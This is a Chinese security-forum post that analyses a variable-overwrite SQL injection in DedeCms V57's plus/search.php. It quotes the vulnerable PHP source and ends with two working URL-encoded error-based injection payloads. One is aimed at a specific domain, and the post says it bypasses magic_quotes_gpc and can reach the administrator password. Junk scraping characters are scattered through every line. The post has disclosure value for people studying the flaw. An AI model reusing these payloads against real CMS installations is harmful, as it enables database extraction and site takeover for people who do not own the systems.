中国网络渗透测试联盟

标题: DedeCms V57 plus/search.php文件SQL注射 [打印本页]

作者: admin    时间: 2013-1-19 08:18
标题: DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
! N, i% _: v4 {" j作者: c4rp3nt3r@0x50sec.org7 u2 p9 i* L$ [" x* s6 m
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.: A, [" x" W' p
6 D% e  p& j& H0 G4 s
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
0 S$ `: w7 x# C. W" A! n # D# B' j0 c, t) `6 H1 l$ I% N
============) f1 g" o% ^1 l( T# t  u/ m5 E; b: S

& q$ L& o- R* ?% D& D7 n+ b
/ {* `/ G* o  i1 @4 `3 E  G5 VDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: G$ h* a: I. l* @
; N' @9 P1 |$ S  Jrequire_once(dirname(__FILE__).”/../include/common.inc.php”);+ s% k$ o2 k+ b( y0 M0 a" \
require_once(DEDEINC.”/arc.searchview.class.php”);: x, h  y2 m9 h5 o9 g7 G
$ o$ v( G( z2 T
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;% o' Z4 y3 w8 r; L# o
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
' \7 `# _1 h  A6 S$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
+ J2 S# {, \% E$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
( r( \* B$ i0 r) _* ~$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;9 N2 B1 G$ G$ L2 f$ w

' w; \; ?! n: m- K( ^, \- Tif(!isset($orderby)) $orderby=”;  V$ m! A6 N) G  M" @( N
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);: v2 f( u1 n* L2 Y  p) i, K
, k* ~# @6 v1 d) V, F" V) ~

- R8 L, r" M( [( A% y+ Bif(!isset($searchtype)) $searchtype = ‘titlekeyword’;8 N" U2 S! U' m: c7 x
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
$ {, ^, j, u$ L9 B. M! b" K- A8 Y " Q$ J) ?+ ]% e* y* F# ]
if(!isset($keyword)){% e- t( @$ |- Q, T) O
    if(!isset($q)) $q = ”;6 S. o8 H( a  w( o* Y7 C4 \
    $keyword=$q;$ d$ X, X1 k" V' d, Q# Q
}
6 b) K% y' e. g, `& U7 P" m4 r : l5 c; ~9 h$ e% D* m4 U+ v
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));! G* D% l. I7 {, L. I

) }' i) h7 j2 h, u3 y$ l//查找栏目信息
% N$ N* V) W6 f$ ]8 dif(empty($typeid))5 A5 k* Y: o! a8 E
{
: L! _+ m* e5 X4 Q% Q7 x; l' X    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
! ]# _: w; G* d: K' Y    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )- G) i3 k- q6 Q6 o
    {
7 p# D6 x' u  t2 }* P, T' I: r2 K  u        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);; C! L( z. M" f' k- P+ q. F, @
        fwrite($fp, “<”.”?php\r\n”);+ C: U! r! }4 R! k' P1 h0 m
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);0 m, V9 y) j6 Z3 z
        $dsql->Execute();) ^( Z% q( F3 e4 I0 k% m" Q# I# \. \4 ?
        while($row = $dsql->GetArray())3 x7 F! U' h  ]
        {3 C" C$ S* {5 o1 k
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);& D$ R  \( ^8 n. r# P* y9 i
        }
4 `. a- O/ B0 ?$ D+ T- v        fwrite($fp, ‘?’.'>’);
$ ~5 O" g/ k5 f9 B7 T" p        fclose($fp);
7 w5 Y2 ^8 u1 W& F2 q4 @2 P# V    }9 R/ _% k  J7 N9 [; @& S5 R+ W1 A
    //引入栏目缓存并看关键字是否有相关栏目内容
1 _* u/ V# ^3 d1 r. ~* i    require_once($typenameCacheFile);/ V$ Y7 H- D$ Y* Z% z0 ^7 o/ p( [7 G
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
& w- K7 A; J) I//
* x$ \; Z8 N) S$ d& h4 C# |9 Q    if(isset($typeArr) && is_array($typeArr))
& e1 U. _, Q' a) B1 h0 \    {3 a. Y5 N2 P; T- G0 R2 w3 e5 i
        foreach($typeArr as $id=>$typename)
8 b1 |5 c5 h; ]. a8 J8 D        {
4 c" T1 T" z4 K  h/ K& D 7 ]8 c1 o/ F* r: W3 Y. C( ?- z, c
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过; Q6 }8 F& C* r1 V+ E& g/ M3 O
            if($keyword != $keywordn)
. \4 m# ]' d4 p9 q0 `; k8 H            {
7 h: i- Y2 i0 j( o. [/ k& E9 \                $keyword = $keywordn;; y' n7 b( l3 J" `, D
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设3 \: J( i9 w& \  ~9 h- |
                break;
1 R8 k/ t; e" w1 e, E. |% z& C            }
% Q3 Q2 H# E( I9 s4 c2 a        }' ]: n* l9 K! y& r
    }, |/ B, ^7 `/ Q+ s( O
}1 O) D* E6 q/ ~$ j) i) r1 Q9 w& j
然后plus/search.php文件下面定义了一个 Search类的对象 .
5 e2 T* b- U9 c' j8 o3 D9 a& p在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.: f; f7 x3 K+ f+ y
$this->TypeLink = new TypeLink($typeid);$ k5 \# _/ X  X2 W8 j

! T! R& g) i) V$ I' {( J. nTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
5 n! a5 X. a& V) O3 M; m0 ~
% e& _1 ], Y( fclass TypeLink
; n+ c. P/ q! |& V{& Z% Q& i8 b( t# @. t/ h
    var $typeDir;6 M' k& S) m3 ]" j5 i6 W
    var $dsql;
1 a8 C6 j# Z  h+ S- P& Q$ R$ I    var $TypeID;
/ R9 V( N& j; m2 r7 L# R    var $baseDir;
( q9 Z+ l; f6 ]" d3 L    var $modDir;
# H3 c% X# M/ }% \    var $indexUrl;4 N/ \  @6 h" S5 n
    var $indexName;( H7 {, ]8 J# B- x
    var $TypeInfos;
+ l; I3 H1 P& M0 o, b% |    var $SplitSymbol;7 m. P# ~# @+ f! u
    var $valuePosition;
$ r' x  s) Z3 {. T2 l    var $valuePositionName;
1 f8 y- y. f6 V! @    var $OptionArrayList;//构造函数///////9 R9 x. }& H; u$ [2 T  F
    //php5构造函数
- w4 I6 b0 m# ?( u6 f# B( Y! {* v    function __construct($typeid)
0 L0 O% z6 X) I3 G. u    {& k, B+ n& r& O
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
4 y9 v6 u/ u- Z5 [0 u; Q        $this->indexName = $GLOBALS['cfg_indexname'];& t5 h( l% f, S  O, f% h: A
        $this->baseDir = $GLOBALS['cfg_basedir'];
  C. e) F/ |: A, I        $this->modDir = $GLOBALS['cfg_templets_dir'];2 A% M: m1 q( C8 l+ D3 S
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];3 |" m  ~# C, b6 Q
        $this->dsql = $GLOBALS['dsql'];
- z  f5 t' u8 x; R        $this->TypeID = $typeid;
8 Z6 J2 J, s0 N- n, o        $this->valuePosition = ”;
* I; V  {# Z- `7 E        $this->valuePositionName = ”;
3 I) c9 a* H% X# Z        $this->typeDir = ”;
+ w. q- X& i3 ?4 {        $this->OptionArrayList = ”;
* X8 b+ J  [# F; B
* X" z. z4 x7 L* w$ E7 _. j        //载入类目信息
5 V, O* f3 f) Z6 U) @# Q9 y, B# g/ y   f+ |  Z7 p# s0 y9 @. [5 I
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
4 s8 ~9 c7 F5 L  m3 u1 yctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join  F" L7 {5 g# h' q7 ^! a
`#@__channeltype` ch2 ~' W" V" C; X9 s4 e
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿  ]3 g6 u4 U) L8 @4 P: f/ V
. Y$ y% Q5 q. g3 R. `# p/ F
        if($typeid > 0)
+ N, E, z$ v  H2 ~3 i7 P- S        {
% s- @. L5 c$ |# z1 ^3 j0 G! u; R! O            $this->TypeInfos = $this->dsql->GetOne($query);9 _! D+ q3 Y* [* G) I# F& a
利用代码一 需要 即使magic_quotes_gpc = Off
% Z" ~, f. G5 o' d) |3 U
; l! x8 C$ W: ^- pwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
, g2 L( Q) a. Z0 B) a. d
4 P1 Q+ [2 K1 K& b* U( K这只是其中一个利用代码… Search 类的构造函数再往下) @+ }3 Q3 ~7 {) @6 a, M
1 h: b9 Q; r6 T% C
……省略
' x* P% X2 l- q; S% ]$this->TypeID = $typeid;
# w; V: d% y7 h7 U: m( ~' E6 H……省略5 ?( [; _, D$ \
if($this->TypeID==”0″){7 @9 ]5 J$ I9 B, P$ c' |
            $this->ChannelTypeid=1;
2 x: r6 Z$ Q) G) y# X% e        }else{
) b. H0 g, e6 G5 z% a            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
( T% f2 o) l- p+ r# `# G/ r7 Q% p//现在不鸡肋了吧亲…; J3 @, H# [& ]8 D5 e
            $this->ChannelTypeid=$row['channeltype'];
! `- b  l# k# n4 @9 p' t8 a
" M- w8 D4 t/ D$ L" f0 T/ \        }7 f8 w4 [+ {& X9 Z+ k
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.8 x3 n" c% F6 s
, r# R% P9 e9 {1 t  K9 N# U  ]
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
8 e/ [! \0 B# ]! ]4 ^: Y2 O8 T 8 T% C' w# b& e' e' _  h
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
( h+ k& f1 K) S2 u




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2